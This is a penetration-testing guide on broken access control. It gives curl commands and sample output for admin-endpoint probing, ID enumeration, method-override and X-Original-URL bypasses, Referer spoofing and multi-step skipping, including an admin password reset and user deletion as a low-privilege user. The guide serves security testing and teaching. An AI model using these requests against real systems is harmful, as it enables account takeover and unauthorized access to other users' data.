Skip to content

Access Control Testing

6 min read Created Sep 13, 2026 Last updated Sep 13, 2026

Access control testing confirms whether the application enforces authorization on every request. Authentication proves who you are. Authorization decides what you can do. A working login means nothing if the server hands over resources it should deny.

The core tests:

  • Vertical privilege escalation: accessing admin functions as a regular user

  • Horizontal privilege escalation: accessing another user's data at the same privilege level

  • Method-based bypass: switching HTTP methods to skip access checks

  • Referer-based bypass: spoofing the Referer header to pass weak checks

  • Multi-step access control: skipping to a later step that lacks its own authorization check

Vertical Privilege Escalation

Vertical escalation means a low-privilege user reaching admin-level functions. Start by browsing the application as a regular user and collecting every URL, then request admin endpoints directly. Many applications hide the link but serve the page to anyone who requests it.

┌──(kali㉿kali)-[~]
└─$ curl -ski http://$TARGET_IP:$PORT/admin -H 'Cookie: session=LOW_PRIV_SESSION'
HTTP/1.1 200 OK
...
<h1>Admin Dashboard</h1>
Explain command
-sk Silent mode, skip TLS certificate verification.
-H 'Cookie: ...' Send the session cookie for an authenticated low-privilege user.

A 200 with admin content means no server-side role check on this endpoint. A 403 or redirect to login is correct behavior. Check other admin paths too: /admin/users, /admin/settings, /admin/logs, /management, /console.

Some applications use request parameters or hidden fields to determine the user's role. Look for parameters like admin=true, role=admin, or access_level=1 in the request:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/profile -H 'Cookie: session=LOW_PRIV_SESSION' -d 'role=admin'

Try injecting role parameters in GET, POST, and JSON bodies. If the application updates your session or returns elevated content, the role assignment is client-controllable.

Horizontal Privilege Escalation

Horizontal escalation is accessing data belonging to another user at the same privilege level. The mechanism is the same as IDOR: change an identifier in the request and check if the server returns another user's data.

For in-depth testing of identifier tampering across endpoints, see IDOR testing by parameter tampering. For turning a confirmed IDOR into full data extraction or account takeover, see IDOR exploitation.

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/api/user/1002/profile -H 'Cookie: session=USER_1001_SESSION'
{"id":1002,"username":"victim","email":"victim@corp.local"}

Getting back user 1002's profile while authenticated as user 1001 confirms the server is not scoping queries to the session owner. Look for this in profile endpoints, order history, messages, download links, and any request carrying a user identifier.

Horizontal to Vertical Escalation

Horizontal access can become vertical when you discover an admin account through enumeration. If the application does not restrict which user IDs you can reference, iterate through IDs until you find an admin account, then use a state-changing function against it.

┌──(kali㉿kali)-[~]
└─$ for i in $(seq 1 20); do echo -n "ID $i: "; curl -sk http://$TARGET_IP:$PORT/api/user/$i/profile -H 'Cookie: session=LOW_PRIV_SESSION' | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('username','?'), d.get('role','?'))"; done
ID 1: admin administrator
ID 2: john user
ID 3: sarah user
ID 4: mike moderator

Once you know the admin's ID, target a function that changes account state. A password reset or email change against the admin account gives you full control:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/user/1/password -H 'Content-Type: application/json' -H 'Cookie: session=LOW_PRIV_SESSION' -d '{"new_password":"Pwned123!"}'
{"status":"success","message":"Password updated"}

If the password change succeeds against the admin account, this is full vertical escalation from a horizontal access control flaw.

Method-Based Access Control Bypass

Some frameworks apply access control rules only to specific HTTP methods. An endpoint locked down for POST might be wide open for GET, PUT, or PATCH. Additionally, certain middleware and reverse proxies honor method override headers that let you bypass front-end routing entirely.

┌──(kali㉿kali)-[~]
└─$ curl -ski -X POST http://$TARGET_IP:$PORT/admin/delete-user -H 'Cookie: session=LOW_PRIV_SESSION' -d 'id=2'
HTTP/1.1 403 Forbidden

POST is blocked. Try overriding the method:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X GET http://$TARGET_IP:$PORT/admin/delete-user?id=2 -H 'Cookie: session=LOW_PRIV_SESSION' -H 'X-HTTP-Method-Override: POST'

Some reverse proxies and frameworks use X-Original-URL or X-Rewrite-URL to route requests internally. If the front-end proxy denies /admin but passes the override header to the backend, the backend processes the restricted path:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/ -H 'X-Original-URL: /admin/delete-user' -H 'Cookie: session=LOW_PRIV_SESSION'

Also try different HTTP methods directly. An endpoint that blocks GET might accept PUT or PATCH:

┌──(kali㉿kali)-[~]
└─$ for method in GET POST PUT PATCH DELETE; do echo -n "$method: "; curl -sk -o /dev/null -w '%{http_code}' -X $method http://$TARGET_IP:$PORT/admin/users -H 'Cookie: session=LOW_PRIV_SESSION'; echo; done
GET: 403
POST: 403
PUT: 200
PATCH: 200
DELETE: 403

A 200 on PUT or PATCH while other methods return 403 confirms the access control rule does not cover all methods.

Referer-Based Access Control

Weak implementations check only the Referer header to decide if a request is authorized. If the admin page at /admin is access-controlled but a sub-function only checks that the Referer contains /admin, you can spoof the header:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/admin/delete-user?id=2 -H 'Cookie: session=LOW_PRIV_SESSION' -H 'Referer: http://$TARGET_IP:$PORT/admin'
{"status":"success","message":"User deleted"}

The Referer header is fully client-controlled. Any access check that relies on it alone is trivially bypassable.

Multi-Step Access Control

Some applications enforce authorization only on the first step of a multi-step process. For example, step one of an admin function checks your role, but steps two and three assume you would not have reached them without passing step one. Skip directly to a later step to test this:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/admin/update-role -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: session=LOW_PRIV_SESSION' -d 'step=3&user_id=2&role=admin&confirm=true'
{"status":"success","message":"Role updated to admin"}

If the final step processes the request without re-validating the caller's role, the entire multi-step flow is compromised. Look for hidden form fields, CSRF tokens, or step identifiers that indicate multi-step workflows in the application.

References